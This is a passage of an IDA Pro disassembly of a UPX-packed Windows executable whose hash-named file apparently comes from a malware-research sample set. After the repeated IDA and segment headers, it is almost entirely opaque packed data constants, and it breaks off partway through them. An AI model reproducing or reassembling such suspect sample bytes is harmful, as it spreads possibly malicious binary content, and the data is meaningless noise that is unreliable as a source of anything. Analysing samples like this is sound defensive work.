; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 69C0ABB0CA8C919E3118014A92957164 ; File Name : u:\work\69c0abb0ca8c919e3118014a92957164_orig.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00016000 ( 90112.) ; Section size in file : 00000000 ( 0.) ; Offset to raw data for section: 00000400 ; Flags E00000A0: Text Bss Executable Readable Writable ; Alignment : default .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 401000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 5800h dup(?) UPX0 ends ; --------------------------------------------------------------------------- ; Section 2. (virtual address 00017000) ; Virtual size : 0000C000 ( 49152.) ; Section size in file : 0000C000 ( 49152.) ; Offset to raw data for section: 00000400 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX1 segment para public 'CODE' use32 assume cs:UPX1 ;org 417000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing retf 0F77Fh ; --------------------------------------------------------------------------- db 0FFh dd 0D2BFD806h, 53513BBFh, 0AB36D053h, 0B853AF03h, 0AF16D854h dd 0ED76DA13h, 0D006EFDBh, 0D353D66Fh, 0D75C1B12h, 10055245h dd 6EC367ACh, 0D6DE47FFh, 0ACACAEF3h, 9AABB03h, 0D0A0A16h dd 0DAECDD87h, 0C23A6FFh, 5039ADA3h, 0EFAC2539h, 26FDBCCDh dd 5B46AC5Bh, 0F6D03523h, 0D85E60B3h, 0EB9B08D6h, 6636B1Eh dd 5B7D694h, 8F095F57h, 20C8DB3Bh, 0A74B03DEh, 5D276352h dd 0B716BF64h, 9BE657BBh, 3E7B5ED9h, 53606F05h, 0B5FDCF50h dd 0EED036FFh, 51275305h, 390A00B8h, 0DD162652h, 83B6BD83h dd 5253285Fh, 0F13A9CBBh, 4646C997h, 0CB315FB6h, 37594DCBh dd 5367370Dh, 2693D657h, 0BAABAB10h, 0E6DCEC17h, 7B6FACB2h dd 1C0A81BAh, 0DB1B909Ah, 5F452376h, 3D33BB9h, 3CFBF153h dd 3EC399D7h, 118FBA56h, 263B08FFh, 77050CF9h, 3AD7BBD3h dd 5111663Ah, 0E47F6E16h, 0AF1ED821h, 4DA9B50h, 5C8A2ED0h dd 16EC8B64h, 57525340h, 35ABBA52h, 0F3722C3Ch, 0A280E3Bh dd 0DEFCDA83h, 59D68877h, 0D60E1B07h, 7B7DADA7h, 0A26BF6ECh dd 5C11505Bh, 0AB1513EDh, 8777260Fh, 538B3EC5h, 56D7DE2Ch dd 0B3125E48h, 0B8270B60h, 0B012E13Eh, 0CEC39E45h, 5112AE80h dd 97EC1D93h, 50BBFD83h, 0FF3B0405h, 0AE07AC51h, 0FCEEDDF7h dd 520BBC4Dh, 0A8DBB11h, 0D6E55C0Ah, 3D8F180Bh, 271805DBh dd 0D80E2270h, 3B63AC29h, 0C7D8E7F6h, 0E58D217h, 4391F684h dd 71ECCBBh, 85919F0Ah, 261F1FA3h, 0ED738040h, 0BB2FFE3Bh dd 606CD7F4h, 57B3BA93h, 0E35AB107h, 0BB77B67Ch, 1B2C5F2Bh dd 0D87017F6h, 3643937h, 4FD80603h, 0EFFBB7F0h, 680BDED8h dd 59DE5C5Bh, 0DE6D841h, 7847A53Ah, 16ECF0B3h, 0B1572B1Fh dd 64576ABBh, 446E4526h, 31EE0B58h, 0DDAF6789h, 1AB35B33h dd 0C30603DFh, 0E9933C5Dh, 0DE2323FDh, 17DE571Ah, 2F035F52h dd 8C6E6027h, 0D0F58F3h, 0F30EB22h, 5A4A5B42h, 0A41E5752h dd 308C488Bh, 0D093F746h, 0C75F4293h, 6F006FD6h, 0EEDF273Bh dd 0E1AC7D42h, 87816B13h, 0D80265EFh, 26D6785Bh, 0FD941F6Eh dd 5F25D2DCh, 0B8D4B5Fh, 643176B8h, 0DA3637BAh, 0B05D82Ah dd 6F687663h, 0C6B1AB2h, 0DB436505h, 5711E77Bh, 0C3B12B50h dd 9DEBABCBh, 5AF7F23h, 7270184Eh, 0EEEF74C1h, 0B16D0C51h dd 22FBAF7Bh, 0AF773907h, 0D806AF77h, 0CD63C27Bh, 6A0A9916h dd 77D45C11h, 0B3B71FA9h, 1150862Fh, 0DEED49EDh, 0EE906851h dd 2792EC0Bh, 92D0196Dh, 5721C73h, 0BA8664B3h, 0DE289471h dd 7399CC64h, 6738860h, 0F7A5786Bh, 3132330Ch, 304B44CFh dd 23036BF7h, 0CE1ABAC3h, 0AFD8F328h, 501E1CB0h, 1BC642DEh dd 0B00367AEh, 8A595FEEh, 7EB5270Bh, 6012F5C3h, 23F8C32Ah dd 56BB0F27h, 0ADE489F1h, 0A48B7B72h, 0CE725937h, 8A061707h dd 0BD3859BFh, 0A8BC3B23h, 0A616D9CFh, 464FD6DBh, 32760518h dd 0A8CE36D3h, 320D23A4h, 4F3BD4F1h, 3EC6DDCCh, 47ED8B07h dd 5FDB56D9h, 0A4897DB8h, 1B4030C1h, 0E9563FF3h, 0F7BBEB64h dd 0D00A21A9h, 3DDBCA90h, 3742D870h, 0D2897EF7h, 30D783BAh dd 13184646h, 9B136385h, 0A6FC6C3Dh, 7681AC6h, 952326E5h dd 0CC277D7Eh, 0A8864F2Dh, 5E1F10h, 9F584C1Fh, 76BBE661h dd 6C01B807h, 2D202964h, 0F74E1794h, 3C97813Bh, 0EEB3D3ABh dd 0C1C7249h, 4E05AFD8h, 229F3B2Ch, 60E47CEEh, 80D3438Dh dd 0BA5CB82Ch, 0F77B4036h, 422BE3Dh, 0D0C276Fh, 0EFC919Ah dd 65D83616h, 5F160202h, 0E0CE5E05h, 0BBEE58C1h, 529500D0h dd 0E07B24DEh, 0BB777DE0h, 3C531326h, 6FDF38E2h, 0D9B124A2h dd 1BDB431Eh, 8C013057h, 5E3B8141h, 305612DAh, 721B5F52h dd 93E24F81h, 1CA55Ah, 3773B711h, 1C5A56B7h, 8C141913h dd 0F34316F6h, 60D8616Bh, 0CFE5945Ah, 0AE081CD2h, 0C7A613FBh dd 3BAB2650h, 0C390A27h, 8176EF83h, 1341BDAFh, 0CE2E007Fh dd 0B784114Bh, 6ED01F74h, 27278D77h, 0C620866h, 14DB21C8h dd 1C4F4B4Bh, 4F872032h, 77037373h, 6A0E9306h, 67D3EB53h dd 0F186EE0Dh, 3AADAD3h, 7DE0D5Dh, 2723E136h, 9D61391Dh dd 0BB772723h, 1D478597h, 7F567801h, 37A76E4Dh, 79B85121h dd 779096C9h, 53A90021h, 0C4FBAF6Dh, 156EBB05h, 5F2D14F0h dd 7097B0FEh, 2759402Fh, 265E0A58h, 0F8F73B46h, 0EB31C08Ch dd 1E9AD53h, 1E1D44B8h, 51615916h, 1933B817h, 8627C344h dd 0E8910E0Eh, 0C483CE5Dh, 633C8386h, 50F4C254h, 0E6DDBF3Ah dd 0E7AB9F24h, 0BB02F002h, 607E05E6h, 0B97B143Eh, 0AFA70E8Ch dd 7BAD78B6h, 463B0D99h, 273F7814h, 284C4D9Bh, 2E2DABBFh dd 9AB1931Bh, 0BBD850AFh, 0DBA3E25Fh, 72034EF9h, 6BB4EBFh dd 3B64FBCBh, 234ECF27h, 0B97BBB4Bh, 98320DCCh, 0E4A77953h dd 4F217938h, 0AB8BC706h, 6E8EAEBCh, 2FA22727h, 0C85D35E8h dd 4E246F22h, 27DDB670h, 4B41E64Eh, 0C66E90Eh, 23FDA340h dd 0E3D9CF7Ch, 4329792Fh, 0CC2C8F7Bh, 91DF9E4Dh, 12173903h dd 0E9DFAFF3h, 0F3B348CEh, 0F49F17F3h, 0BD767735h, 0ABD88367h dd 0F7AF8B31h, 0B6406660h, 61B38F0Bh, 0B05EEB19h, 5201B255h dd 90E463BAh, 0AD84826Eh, 9EF1532Fh, 9F51B906h, 0D96BE66Eh dd 0C79C234Eh, 17F05CD8h, 4ED9C70Ah, 694BE45Fh, 0B32C03F0h dd 254E2593h, 73ABE794h, 5678114Bh, 5437F609h, 621F3E17h dd 0AF0C6D04h, 611CC1AEh, 124DE96Fh, 1B1D03CFh, 0A43B0718h dd 3BADD38Ch, 1F7ABC9Bh, 0A9A3E11Ah, 0BACFAF44h, 0A2F75858h dd 141F85Bh, 506F8331h, 47D809F9h, 4F3EBE46h, 0D27727D7h dd 0F9B20EEh, 4A2776C8h, 53EBB7FBh, 4B539353h, 977527B8h dd 6DBA8D59h, 6787E0D1h, 0AB90722Fh, 0C06AB87h, 0CC1EF468h dd 7220AB6Eh, 9AAFE60Ah, 6BD0CF1Eh, 0ABE4C126h, 0B0DA948Eh dd 0ABACA591h, 0E435415Fh, 95BEF090h, 0D907E4AFh, 4EB8241Dh dd 0A7B7A4C3h, 6DB04206h, 4956DB32h, 3B840A18h, 0A8C71E46h dd 7CBBF3D8h, 10D3D0A8h, 29629C88h, 26E79B8Eh, 1EA8E04Ch dd 14626B73h, 2C3B3818h, 575E3BB3h, 91ACE4D3h, 0B52EC6Eh dd 0CB7302ECh, 0E070343Bh, 0F8C3D075h, 9E1A0128h, 3B34D7F4h dd 83CAD17Fh, 98C33622h, 0DE07CD90h, 1EC550F4h, 5E04B929h dd 0CC6A0C31h, 1CF9F57h, 530FD379h, 122E5157h, 9B064B3Bh dd 52577C0Fh, 0F74AD2AEh, 703E7D24h, 4E462F77h, 1E473B78h dd 7F00B29h, 0A67FBEEh, 64F94409h, 73A73B5Ch, 0DCCFDEB0h dd 49E458EEh, 4E5557B6h, 854879F2h, 1FAEA973h, 0ACC11FBFh dd 161766CEh, 60EC54FEh, 1162A6AEh, 92665ABBh, 0DEB9F20Bh dd 0A94FA94Fh, 0F2753946h, 2B9BE4E1h, 7443D548h, 0FD8C621Ah dd 0A81A5F9Eh, 0BC617E3Dh, 0CF7B1CDAh, 3E143DF2h, 79FB4F4Ch dd 418C6F4Ah, 0C6832E06h, 0AFC57A77h, 0D88160DEh, 0D1D37AB2h dd 0F9F23B9Bh, 79AF00ADh, 4214BBE5h, 92604B9Bh, 1AF63C7Bh dd 8E7C4881h, 0DCC2747Ch, 43211BABh, 1D66E8A9h, 0D29805EFh dd 8B252B08h, 58DC8D8Dh, 2250D82Fh, 8B3A0BDAh, 0AF646466h dd 0EE395F1Fh, 5EC3E137h, 75BB5507h, 0FECCC267h, 2EB9E15Eh dd 0F878B63Ah, 0AC521895h, 65765CB7h, 19CA4520h, 9A1EE083h dd 391E17B7h, 0E6BCDD0Dh, 6731706Bh, 6A230B47h, 0D6763CD6h dd 0C30DE3Dh, 1ED8E41Bh, 0C753EACAh, 0D02ED9Ah, 5B13AAA4h dd 0CE8A0588h, 0BE6916C8h, 78643857h, 78B7531Ch, 8B05BFBBh dd 8BC52366h, 8E9D22EEh dd 73E434Fh, 5CBB77ECh, 0AFAAAF27h, 10BC20AAh, 3B832162h dd 7387B67h, 0E7FD39E1h, 19B0C473h, 4E1821F3h, 0D0EDB111h dd 665325FFh, 0CAEA4C7h, 4F898885h, 39F24E59h, 4F519FC8h dd 311920A4h, 4D9F219h, 31A41247h, 0A55B191Ah, 2FBC7E7Bh dd 460E1B07h, 2A44A55Bh, 44B9F23h, 42A543D5h, 0E09A6019h dd 9C2C66BDh, 794D491Eh, 12F04F60h, 0B3301144h, 0AEC71Ah dd 74F3A1DDh, 38534318h, 0D8EDD30Dh, 0A316224Bh, 95FEF81Fh dd 8FCF9101h, 5139139Bh, 57525A39h, 0B914AABFh, 27287BC0h dd 0C08DDB68h, 16CE1B93h, 26E2CBD3h, 0EBDD5066h, 4257E173h dd 40DBA6AFh, 0D8BB40FAh, 70D3ADC9h, 0F3F99DB1h, 9122521Eh dd 0BB3DED91h, 0E5187782h, 273E5757h, 0C55461B5h, 0D02BB36Bh dd 0D7BE71F4h, 3BC5FD70h, 0C173A438h, 4761F905h, 2C903DA4h dd 90667B79h, 0CC4840B3h, 6CEF16CEh, 644767C2h, 5A0D7F1Ah dd 0E7B0644Ch, 0F08EAD4Ch, 0FA9F4023h, 3EF9DE12h, 22D0373Bh dd 7B05A473h, 0E2283E41h, 0A936CE39h, 402E9869h, 3C490317h dd 4C80C883h, 9E9A9A1Bh, 3371CCF0h, 0A9B819B9h, 0AABB0976h dd 9F3D98DBh, 5AAABBB2h, 96782908h, 5A3D9E4h, 0C6E97A44h dd 673BD97Ah, 4B2762BDh, 0E7B363E6h, 0D831EBF3h, 0D0734B74h dd 0B99AAB16h, 0E28DC9E7h, 275F14A8h, 3E7C8A5Fh, 0A3D148C5h dd 241B5BAEh, 46DCF907h, 0A6A7A6A7h, 0D7E6A6A7h, 0FF39DB3Bh dd 0BB2631A7h, 81AC2CAAh, 9F7CACC8h, 0C2768C74h, 0D1AD0B65h dd 0BA400A84h, 0B59E4953h, 345353E4h, 9F23A44Fh, 0E8D9F5Dh dd 141E22ACh, 3C13A55Fh, 1491CF90h, 0A6ABA55Fh, 4D22A6A3h dd 0A6A3F9F7h, 4738A6BFh, 0DEB27278h, 5BB1CD9h, 0EBA6BF22h dd 0BF1ECB9Dh, 5B72715h, 61320322h, 0D8E3CD0Bh, 0ACC27870h dd 980122E3h, 0C97A9B7Dh, 0E7B39E4Bh, 2E74B215h, 0EB078921h dd 0B8572ECFh, 309BB899h, 3C5FBFD0h, 1B659659h, 5F430541h dd 3A175547h, 534B714Bh, 2DC7A6AFh, 32C76E15h, 0ABAB6D12h dd 7E2ED221h, 0CD91E4Eh, 4F861F8Ah, 13A70DBBh, 0A759375Dh dd 0E61F1317h, 92C4D3AFh, 16B585CFh, 0F38ACFE3h, 0A972C480h dd 652168Bh, 0E04EC659h, 92761643h, 27CF6753h, 7AC54746h dd 3918FB52h, 0B98CF26Eh, 51159E55h, 645F10C1h, 1ED8FE2Bh dd 7CDBDAA7h, 24F03251h, 2601FC60h, 43B63423h, 0C2D02F3Bh dd 6B839724h, 23CCF4Dh, 80E03B17h, 53415533h, 0B7D84CC8h dd 32154E64h, 360241C5h, 17A88179h, 60724E8Ah, 178FC5CFh dd 7391F38Ah, 692C0D89h, 5773D542h, 0B32D89FDh, 53472E25h dd 9E9BF579h, 0A8BF075Fh, 54A8BF93h, 80500591h, 7D62186Bh dd 6C52FC19h, 4F837364h, 95711FAFh, 0ACD30E47h, 231A3980h dd 0BD964A0Dh, 0A8BF66C8h, 3B6C7FE7h, 0CBD83233h, 767E4A1Eh dd 6C1DB3B3h, 835AF7Bh, 6E254072h, 0F730E7Fh, 82991D67h dd 6C7185BFh, 7B646764h, 0A3A33D0Ah, 311EF034h, 36C65BC8h dd 0F603931Bh, 3B2A55CCh, 10A8438Bh, 0B191D8D8h, 5DA781A7h dd 2D680ED8h, 0D87938A7h, 78E55125h, 0EE6C5710h, 29B7BDB3h dd 933BB744h, 33A72550h, 0F6F739B2h, 0ABD2F14Fh, 0B09C9DABh dd 0B7265266h, 0A478399Dh, 58DB67D9h, 7F727713h, 43215121h dd 0BD4CC3ACh, 6E0F5CD1h, 31FF091Eh, 9064704Dh, 5373966Bh dd 0C17B732Bh, 0DED8DFA7h, 375BDA34h, 30B86C10h, 26419918h dd 611FC754h, 24BF6723h, 0BBED11BEh, 677B93BBh, 79853804h dd 8A1B3055h, 3C3EDBF0h, 7829DEDEh, 7B36C92h, 0B833029Bh dd 31612B67h, 0BE4DC0A3h, 0DB7E4526h, 7B71502h, 22BDA92h dd 7BB2B2CBh, 67167B7Ah, 0DF7B0675h, 7E8E0B40h, 9C610E04h dd 0B0BACD36h, 79BB30E8h, 483B0640h, 1D52567Bh, 53677293h dd 0D71028FAh, 9E119EC1h, 0B7DFB353h, 0CECD354Fh, 1298C97Ah dd 9DC7A99h, 68C3D91Bh, 9C2F05AFh, 0F812C934h, 0B362CC21h dd 0E7E64CE2h, 0D8392F26h, 1224E04Eh, 0E48B7A25h, 0BD222968h dd 0BE628B71h, 0E6CB53Ch, 45BF906h, 2750FC3Bh, 70841CF9h dd 1251AA97h, 2C813A2h, 9B173367h, 941677BAh, 1398DF1Bh dd 0AE2B910Ah, 1CB04D80h, 67AE27E4h, 0DB4DF3AAh, 0DDBBBBECh dd 39152FD6h, 0EEDED24Ch, 0F8A00A2Eh, 1AF9F835h, 1C93905Bh dd 0AA16AA17h, 5DE26B3Ch, 9F693B72h, 3E8FD8A9h, 8B7CF9F2h dd 0A883D69Fh, 5439F901h, 64C6973Bh, 9A15C5EBh, 2C8E2E8Ch dd 5CF03B2Eh, 499ED6D6h, 0B609619Ch, 0C233E011h, 8B370935h dd 0BD9B2E40h, 762673ABh, 97DF6522h, 0BF708ECDh, 70B8F7FAh dd 730F2440h, 94203263h, 0CCAA97CEh, 8E64F135h, 80559E38h dd 0DF9B0490h, 0F23D18E4h, 0AA13A76Ch, 0A5C31B07h, 0BD0E7877h dd 48D77B05h, 47BDB640h, 36941933h, 0CECA69A1h, 0ACD06325h dd 53ABABC4h, 6F677B2h, 350B502Fh, 5BFB3F8Eh, 4D174A59h dd 3D04267Ch, 7856F7D3h, 9D8EE74h, 0BE9D7F6Ah, 6037B646h dd 9D9B3B09h, 33E30DEh, 9DB93E13h, 6D82F90Bh, 0BAAA6B91h dd 0F6055684h, 6FB7CD95h, 18682F63h, 0F20695F6h, 0BD712C6Ah dd 0D01DD905h, 0DB7DE3AEh, 0B09B5ED7h, 5EBA582Ah, 34A1A407h dd 7EC9838h, 723B11C3h, 132620EBh, 3BAA6B53h, 21052003h dd 7AD31676h, 0C871BAA7h, 47358760h, 195567BCh, 6F4D46B0h dd 65592255h, 264B901Ch, 6E9C1735h, 9C81FC83h, 530AE99Dh dd 4551EB6Fh, 4C5F639Eh, 0AE2F316Bh, 9E4773CEh, 0AA171283h dd 2AD5BAD9h, 721C9D9h, 12E563A4h, 390076Eh, 6E1C7F72h dd 0C64C6E69h, 285025C7h, 7253AE7Ch, 4B80E790h, 3A7D5FF4h dd 78CBC953h, 0A4A9574Dh, 6C91F96Fh, 135392B9h, 5E0B16DDh dd 9B5FD3F6h, 0D7D7AF3Bh, 8D226E55h, 0AB399E05h, 8F764505h dd 9E00459Eh, 0D6C734Fh, 2F610313h, 0D22410F6h, 461BAD18h dd 843B3193h, 9C1A3552h, 1E71D79Ah, 6F7E0C08h, 5AF6F42h dd 3B6C0727h, 6FD284ABh, 84BC972Bh, 292B68F3h, 4DBDD79Fh dd 0F6903D02h, 0D8253B57h, 0EF119EF7h, 0EC9AA53Dh, 7C155368h dd 0C9BD9605h, 0F21D4EA8h, 8EE51AE5h, 540697BBh, 0B463BC19h dd 7D6FE6B3h, 61002684h, 3AAC36B9h, 3C032D49h, 0F592C43Bh dd 68C00323h, 81C058FFh, 170F2C2Ch, 0D917C8CBh, 77970C76h dd 515B27D9h, 47929E4h, 2650AA9Bh, 0DB232116h, 4FD24D82h dd 8311B95Dh, 520A3C3Ah, 0AD8E394Bh, 27975088h, 24CD0947h dd 8F9386DDh, 9167EB8h, 3902E743h, 0B593D98h, 72F6FA4Eh dd 3243CEF5h, 0F7875140h, 923C6CF9h, 5B6E59BBh, 0FE8C5FF6h dd 5970B20Ch, 60AB0388h, 0F1789069h, 232DCF26h, 0C53A4AFh dd 87260C8h, 7427AB0Ah, 3FE301CFh, 4FF09729h, 27740AA6h dd 2D5C9D82h, 0A42CC0FEh, 2693B2E1h, 393AE258h, 0B0658A0Eh dd 0AE394B11h, 0C0D2C8BFh, 54B2E31h, 34192573h, 3E41B2FDh dd 6C05BB56h, 39C070E5h, 171E4BC9h, 77F078D7h, 0C97903ABh dd 55D74703h, 60E5CBF0h, 0B6364FD4h, 0A9D4A9DFh, 438AC0Bh dd 0E5476C30h, 0E01A6CF6h, 98FC1AEBh, 0D818BF6Bh, 0BFCF5FEAh dd 395BD2CCh, 575A3929h, 87C48FA2h, 0AD813520h, 0A35637D3h dd 0DB9C9675h, 157AD522h, 6ACD6B35h, 559B6373h, 75433F10h dd 5F23C85Fh, 14D0BF8Ch, 5B56BF53h, 7364C03Fh, 1439180Ah dd 585F56BFh, 7A22A7B2h, 0CD43230Ah, 802B6ACFh, 3BBF92D6h dd 0CB2D7961h, 3190381Fh, 3B52FC47h, 5BB8D6Fh, 1B81C03Fh dd 6B6E170Ah, 0AA97518Dh dd 21D4263Ch, 476D48Bh, 0D87CF686h, 0D22F8C04h, 5BD97BEEh dd 937905F0h, 270B6124h, 39EC172Fh, 0D3503979h, 13560627h dd 0ECE6D90Bh, 0B8154EE7h, 21DE0D3Ch, 9ECE2530h, 25C0CD93h dd 0B7AC703h, 0E9B74FAEh, 6EB87C7Eh, 67B8EF83h, 3478F708h dd 0D734F34Fh, 134A3771h, 0F34F7486h, 0B9547743h, 0A2605347h dd 7A52FE8Eh, 67ABDE40h, 591D5B5Fh, 41D5AF0Bh, 588D7F09h dd 1B29FFA9h, 0AC571306h, 0A2661C80h, 0EB0BEDE3h, 0C80C80C8h dd 0CCFE797h, 0F30C80C8h, 0C8DFFFBh, 0E3F780C8h, 70B77AFh dd 0F0F40528h, 0E73B971Fh, 0CF7DAA89h, 86AF1285h, 0D01C1BCCh dd 1C109EEAh, 38CE7EF6h, 22ADA7C4h, 1E4A5351h, 0A1B0806Ah dd 521FF491h, 0C85E24F7h, 0F4B366F7h, 0B8F2C5D5h, 0C7B3B58h dd 0EFB98EDAh, 0F312F1Ch, 6BD2754Fh, 1F09E7EDh, 144D26DAh dd 0D813D3D8h, 59290C1Eh, 571AF3F4h, 9BD0D2DAh, 9B2719ACh dd 1B60BEDBh, 432E1D8Eh, 724D08AFh, 5127F573h, 6C3B4627h dd 21675866h, 0DF83DF90h, 0A8BA0AEBh, 525B2653h, 6792E799h dd 876F6F5Bh, 0B056D3FAh, 0B9495B53h, 0BB6361h, 965A5666h dd 439F7746h, 2C72439Fh, 6D56EF1Fh, 51FACD07h, 0E09FF720h dd 0BBDC9953h, 602C2502h, 0B5A08316h, 0F13AD67h, 250C9435h dd 0BE23AFB6h, 0F1B4720h, 6B42034Ch, 6B6DCA2Fh, 0E6815435h dd 8FC9949Fh, 0C763336Dh, 185BF658h, 0DF605A9Bh, 3B9BA1DCh dd 0DA9BFE21h, 0E5205B1Bh, 5F32CF90h, 97559797h, 0B1D9A5B7h dd 43434B5Fh, 15739612h, 7B36DA9Fh, 4B12FAA5h, 0F68736D0h dd 2B9A1593h, 0DDE0B3BEh, 2147FD67h, 9961C65Bh, 0D9FA922Eh dd 441B626Fh, 0EB59F86Bh, 970F79A8h, 2CB3E41Bh, 0B33ED99Bh dd 87B31C13h, 20EBBF42h, 0E40CD6Eh, 0B138DB6Fh, 999DD133h dd 2DC3B364h, 43639338h, 0BD08CB2h, 0B7B73E67h, 87F20339h dd 0B7432565h, 0A3675EBBh, 2E43903Ch, 4BA360AEh, 0DB233567h dd 0BB9DA184h, 9823BBBBh, 6806D6EAh, 60D05C53h, 0D6DF5931h dd 93D43BA1h, 7353AB30h, 7EB593BBh, 0D8B7BA33h, 9CDA9306h dd 1BF940Eh, 89D85684h, 52EF37EFh, 217E121Bh, 5207DAEFh dd 8127EB90h, 0EBF21735h, 605FEB55h, 84D87286h, 0A5DE109Eh dd 6CBF8436h, 0B7069A0Ch, 4B5917DAh, 0AC2C655h, 0DB57EF87h dd 9B9A7B4h, 0E45B2D30h, 619E1742h, 7D4ABB7Fh, 1B93BAF7h dd 1B0A9B50h, 511F4B0Bh, 6DB9BA4Fh, 93304670h, 4359B7E4h dd 123B38A7h, 0E25767F7h, 0D25CBD26h, 5A27D2FCh, 0B377730Ah dd 757593D6h, 0F0162211h, 2040349Fh, 37108E99h, 5DD8EC5Ch dd 1ECC0B0Eh, 0D05551F3h, 6D43D6C4h, 0AC2CC710h, 0B24F1023h dd 0C13CF4DCh, 5B9F409Fh, 5123BAC2h, 16605782h, 78151904h dd 7D41D19Bh, 936F13A5h, 0AE51B3D0h, 7F9F7BE6h, 0E8411BAh dd 716D2B57h, 57B307B6h, 735D775Ch, 181DB362h, 77145824h dd 73465CBAh, 0AC1C30E9h, 1362DAC3h, 92E7D918h, 0B92547EDh dd 52B51414h, 58727D89h, 398B2DB2h, 1E5395BAh, 81832B72h dd 53C3DE52h, 59AF2BD2h, 2C1B07A1h, 77F0E2Eh, 26D815E4h dd 523DA026h, 847863BBh, 9A16215Ch, 1B0EC86Ch, 107B2D29h dd 990345F1h, 0A0791687h, 2D8B8D4Bh, 4E7F260Ch, 209F593Ah dd 0B2059C6Dh, 58517C35h, 0F016CEF7h, 0F93E45Ch, 0CC5E2367h dd 10C83200h, 0DAB1F34Fh, 927C141h, 4C1A6341h, 3E84687Ch dd 767C4337h, 0C38A12BBh, 5C67C1C8h, 0E11B7BE4h, 4C4B1701h dd 150BDDD6h, 64F61C91h, 707C81ABh, 37DE2F41h, 2561B8ECh dd 0E528F06Eh, 5C104575h, 0DFFA0C99h, 0E871B4C9h, 8A466716h dd 3086020Ch, 0F64F671Bh, 3F00725Bh, 1F2DBE84h, 3B4B720Eh dd 307BDAF3h, 78274A8h, 2B3B40A4h, 0CD8BB613h, 16A726F6h dd 0B413F00Bh, 43263B3Bh, 2B02070Dh, 0D8A6F853h, 0BD8C833h dd 1F1BBF2Ah, 0F2133C12h, 3131F4Ch, 0CF213367h, 0B770784h dd 0C84CF213h, 33530F47h, 3E40E790h, 8337DBBFh, 9BF25A24h dd 0DB9BC23Bh, 0D6320CAEh, 260A1F62h, 3C843FABh, 12F3F613h dd 37C8DB23h, 2327CF21h, 0C375F2Bh, 0AF0C2CF2h, 0D7AFDB18h dd 8B099E42h, 166FDB12h, 0DF6646BDh, 0C5732B24h, 8B64659h dd 7FDF5ADBh, 1FBBF4ADh, 0DB1A5694h, 1B09A366h, 845394E9h dd 41EFE08Dh, 0EE1C5601h, 0DB671368h, 67B190C9h, 4BA3A3B9h dd 1967A372h, 5FD367B0h, 2CBBBB26h, 0BFCF20CCh, 6A2FBBD4h dd 7A9BB714h, 84417BEBh, 35527E93h, 879452FEh, 3C39E6Ch dd 7E7E6DBDh, 66D1E27Eh, 0BD074B57h, 0A0ED5BDDh, 8DA59E4Dh dd 636BDBDh, 0EA372373h, 4CDC0A4Ah, 7CF9D82Fh, 3850F57Eh dd 0BD09DA97h, 0B674C59Eh, 3A411113h, 0E666BD1Fh, 1B56B5ACh dd 5F737B33h, 1189073Dh, 0D54731Ch, 3A2D8D80h, 27907CACh dd 56CFA043h, 43A3859Eh, 0D946401Bh, 0CD13CCF6h, 0FC05BE8Bh dd 7B800848h, 70ACC2B0h, 7F03BB2Ch, 83B968D0h, 2543F1BDh dd 47DF3742h, 8317BB7Bh, 0EDA02EF6h, 0A7BD9B56h, 6D230839h dd 0BE5702BAh, 63FA7F44h, 73D82D91h, 0CE16C042h, 0B058F177h dd 77741DD8h, 0B6BB3815h, 999D8B78h, 0DAE3B70Fh, 3B445B77h dd 259D9E4Bh, 4727A014h, 0B39D1AD1h, 0D78B3C9h, 2C1CDFF1h dd 5FE9C2F2h, 409FBF47h, 0F5384F30h, 0BA4C8CFDh, 0C888B25Fh dd 4D69341h, 71378C3Ah, 535161BEh, 0D94B5FE3h, 842E0312h dd 0E4B8D12Ah, 0C024BA55h, 3E69784Bh, 758C5911h, 4C270858h dd 5477EB7h, 0D2118C8Dh, 0D4F455D8h, 6749C2F9h, 0CDAB9BABh dd 0D88D4765h, 6EA06FABh, 0F747067Fh, 0DE260AE6h, 7325529Ah dd 24175045h, 53E4E8h, 6D8130Dh, 6F03CEEDh, 71B1B5Fh, 0EDC08918h dd 5DDF203Eh, 92AFE525h, 0D20D43BBh, 6E64B0B2h, 92509E53h dd 252113C0h, 0A4F66E66h, 0DF4A6A83h, 0BB2DD9F3h, 50051DBBh dd 57EB7527h, 776C3727h, 7FBDB953h, 4EAD3BB0h, 9188BB52h dd 585B42DCh, 9DD81C8Fh, 0B7D35B82h, 0B392EF1Eh, 37580C5Bh dd 7F762160h, 60CB23ACh, 4383216Dh, 80B12324h, 4B27320Ch dd 82E789AAh, 0D116144Ah, 8A593B2Bh, 2818BB1Dh, 230E9B9Dh dd 1E193E29h, 0BC1B3B57h, 0FE7974A9h, 689AE90h, 1A00B756h dd 2F6D8313h, 396B5F64h, 0A21A6756h, 909F9064h, 50394E7Ah dd 0C885633Bh, 512E8931h, 0F35044F7h, 29218CB1h, 42BA6255h dd 0D5F5CD1h, 2D712F0Fh, 3EFC0080h, 293A7A10h, 0BF8E567Bh dd 0B8574C54h, 4BF09593h, 197B24DEh, 1634450Ah, 167E0B68h dd 577BF7ACh, 67DE7E9h, 6D58EB3Bh, 9A89DCDAh, 63BCF21Fh dd 3775D62h, 0D746620Eh, 5AA7BB02h, 14734732h, 1145E003h dd 47C82A80h, 0BBE8FBADh, 0C31342CCh, 0BBA72604h, 6205CF43h dd 81819A8Eh, 0BB73B1C7h, 0BBE9F357h, 0CBC1AC3Eh, 8FCCD5B1h dd 0E131C73Bh, 2B0D7C8Dh, 210319F2h, 0FE13D5B2h, 44B5E44h dd 0DAEE76BFh, 0BBAF5972h, 5C10DA31h, 857083C6h, 59B3E164h dd 65C83204h, 0BFEE2A3Bh, 0D8BFAD4Fh, 6AE4C48Bh, 0ED23A050h dd 77373641h, 0FED1E51h, 9C5E10D9h, 